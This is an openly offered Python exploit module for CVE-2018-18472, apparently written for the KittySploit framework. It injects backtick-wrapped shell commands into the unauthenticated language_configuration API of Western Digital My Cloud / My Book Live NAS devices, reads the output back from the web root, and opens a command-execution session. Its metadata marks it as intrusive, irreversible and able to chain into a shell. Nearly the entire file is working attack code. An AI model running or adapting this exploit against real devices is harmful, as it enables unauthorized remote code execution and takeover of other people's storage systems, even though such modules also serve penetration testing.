WD NAS - language_configuration RCE (CVE-2018-18472)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Western Digital NAS language_configuration RCE (CVE-2018-18472) — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'WD NAS - language_configuration RCE (CVE-2018-18472)',
        'description': (
            'Exploits backtick injection in PUT /api/1.0/rest/language_configuration on '
            'WD My Cloud / My Book Live. Output is written under /var/www and fetched via HTTP.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-18472'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-18472'],
        'tags': ['western-digital', 'nas', 'rce', 'cmdi', 'unauth', 'cve-2018-18472'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2018_18472_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        fname = self.random_text(10) + '.txt'
        api = '/api/1.0/rest/language_configuration'
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        data = f'language=en_US`{cmd} > /var/www/{fname}`'
        self.http_request(method='PUT', path=api, data=data, headers=headers, allow_redirects=False)
        r = self.http_request(method='GET', path='/' + fname, allow_redirects=False)
        cleanup = f'language=en_US`rm -f /var/www/{fname}`'
        self.http_request(method='PUT', path=api, data=cleanup, headers=headers, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2018-18472 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()